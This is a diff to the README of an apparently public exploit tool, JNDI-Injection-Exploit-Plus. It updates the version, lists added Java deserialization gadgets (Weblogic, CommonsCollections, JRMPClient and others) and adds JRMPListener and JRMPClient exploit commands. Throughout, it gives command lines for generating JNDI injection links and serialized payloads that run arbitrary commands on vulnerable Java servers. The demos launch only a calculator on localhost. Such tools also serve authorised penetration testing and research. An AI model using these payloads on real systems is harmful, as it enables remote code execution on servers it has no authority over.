@@ -35,7 +35,7 @@ Websphere Readfile | @cckuailong | trustURLCodebase is false but have WebSphere
3535
3636#### 3. Deserailization Gadget (total: 37)
3737
38- P.S. More Gadgets than ysoserial, welcome to PR more! ^_ ^
38+ P.S. More Gadgets ( : arrow_up : ) than ysoserial, welcome to PR more! ^_ ^
3939
4040payload | author | dependencies
4141------ | -------- | ------
@@ -45,22 +45,24 @@ C3P0 |@mbechler |c3p0:0.9.5.2, mchange-commons-
4545Click1 |@artsploit |click-nodeps:2.3.0, javax.servlet-api:3.1.0
4646Clojure |@JackOfMostTrades |clojure:1.8.0
4747CommonsBeanutils1 |@frohoff |commons-beanutils:1.9.2
48- CommonsBeanutils2 |@cckuailong |commons-beanutils:1.9.2
48+ CommonsBeanutils2 : arrow_up : |@cckuailong |commons-beanutils:1.9.2
4949CommonsCollections1 |@frohoff |commons-collections:3.1
5050CommonsCollections2 |@frohoff |commons-collections4:4.0
5151CommonsCollections3 |@frohoff |commons-collections:3.1
5252CommonsCollections4 |@frohoff |commons-collections4:4.0
5353CommonsCollections5 |@matthias_kaiser, @jasinner |commons-collections:3.1
5454CommonsCollections6 |@matthias_kaiser |commons-collections:3.1
5555CommonsCollections7 |@scristalli , @hanyrax , @EdoardoVignati |commons-collections:3.1
56- CommonsCollections8 |@cckuailong |commons-collections4:4.0
57- CommonsCollections9 |@cckuailong |commons-collections:3.1
58- CommonsCollections10|@cckuailong |commons-collections:3.2.1
56+ CommonsCollections8 : arrow_up : |@cckuailong |commons-collections4:4.0
57+ CommonsCollections9 : arrow_up : |@cckuailong |commons-collections:3.1
58+ CommonsCollections10 : arrow_up : |@cckuailong |commons-collections:3.2.1
5959FileUpload1 |@mbechler |commons-fileupload:1.3.1, commons-io:2.4 | file uploading
6060Groovy1 |@frohoff |groovy:2.3.9
6161Hibernate1 |@mbechler |
6262Hibernate2 |@mbechler |
6363JBossInterceptors1 |@matthias_kaiser |javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
64+ Jdk7u21 |@frohoff |
65+ JRMPClient |@mbechler |
6466JSON1 |@mbechler |json-lib:jar : jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1
6567JavassistWeld1 |@matthias_kaiser |javassist:3.12.1.GA, weld-core:1.1.33.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21
6668Jython1 |@pwntester , @cschneider4711 |jython-standalone:2.5.2
@@ -69,14 +71,16 @@ MozillaRhino2 |@_tint0 |js:1.7R2
6971Myfaces1 |@mbechler |
7072Myfaces2 |@mbechler |
7173ROME1 |@mbechler |rome:1.0
72- ROME2 |@firebasky |rome:1.0
74+ ROME2 : arrow_up : |@firebasky |rome:1.0
7375Spring1 |@frohoff |spring-core:4.1.4.RELEASE, spring-beans:4.1.4.RELEASE
7476Spring2 |@mbechler |spring-core:4.1.4.RELEASE, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2
75- Spring3 |@cckuailong |spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
77+ Spring3 : arrow_up : |@cckuailong |spring-tx:5.2.3.RELEASE, spring-context:5.2.3.RELEASE, javax.transaction-api:1.2
7678URLDNS |@gebl |jre only vuln detect
7779Vaadin1 |@kai_ullrich |vaadin-server:7.7.14, vaadin-shared:7.7.14
80+ Weblogic1 :arrow_up : |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
81+ Weblogic2 :arrow_up : |@cckuailong |weblogic:10.3.6.0, 12.1.3.0, 12.2.1.0
7882Wicket1 |@jacob-baines |wicket-util:6.23.0, slf4j-api:1.6.4
79- WildFly1 |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
83+ WildFly1 : arrow_up : |@hugow |org.wildfly:wildfly-connector:26.0.1.Final
8084
8185#### 4. generate and export payloads
8286
@@ -91,7 +95,7 @@ You can generate the deserialization payloads with binary or base64 type of outp
9195Run as
9296
9397``` shell
94- $ java -jar JNDI-Injection-Exploit-Plus-1.3 -SNAPSHOT-all.jar [-C] [command] [-A] [address]
98+ $ java -jar JNDI-Injection-Exploit-Plus-1.4 -SNAPSHOT-all.jar [-C] [command] [-A] [address]
9599```
96100
97101where:
@@ -121,7 +125,7 @@ Points for attention:
121125Run as
122126
123127``` shell
124- $ java -jar JNDI-Injection-Exploit-Plus-1.3 -SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
128+ $ java -jar JNDI-Injection-Exploit-Plus-1.4 -SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]
125129```
126130
127131where:
@@ -132,6 +136,22 @@ where:
132136- ** -D** - The deserial Gadget payload name.
133137- ** -O** - (Optional) The deserial output type, default is binary
134138
139+ ## Deserialization Exploits
140+
141+ ### JRMP
142+
143+ - JRMPListener
144+
145+ ``` shell
146+ java -cp JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar exploit.JRMPListener < port> CommonsCollections1 calc
147+ ```
148+
149+ - JRMPClient
150+
151+ ``` shell
152+ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C " <ip>:<port>" -D " JRMPClient" -O base64
153+ ```
154+
135155## Examples
136156
137157### JNDI Links
@@ -141,7 +161,7 @@ Local demo:
1411611 . Start the tool like this:
142162
143163 ``` shell
144- $ java -jar JNDI-Injection-Exploit-Plus-1.3 -SNAPSHOT-all.jar -C " /System/Applications/Calculator.app/Contents/MacOS/Calculator" -A " 127.0.0.1"
164+ $ java -jar JNDI-Injection-Exploit-Plus-1.4 -SNAPSHOT-all.jar -C " /System/Applications/Calculator.app/Contents/MacOS/Calculator" -A " 127.0.0.1"
145165 ```
146166
147167 Screenshot:
@@ -172,7 +192,7 @@ For More Examples: [Test-JNDI-Injection-Exploit-Plus](https://github.com/cckuail
172192### Deserialization Payloads
173193
174194``` shell
175- $ java -jar JNDI-Injection-Exploit-Plus-1.3 -SNAPSHOT-all.jar -C " /System/Applications/Calculator.app/Contents/MacOS/Calculator" -D " Spring2" -O base64
195+ $ java -jar JNDI-Injection-Exploit-Plus-1.4 -SNAPSHOT-all.jar -C " /System/Applications/Calculator.app/Contents/MacOS/Calculator" -D " Spring2" -O base64
176196```
177197
178198Base64 Output Result:
0 commit comments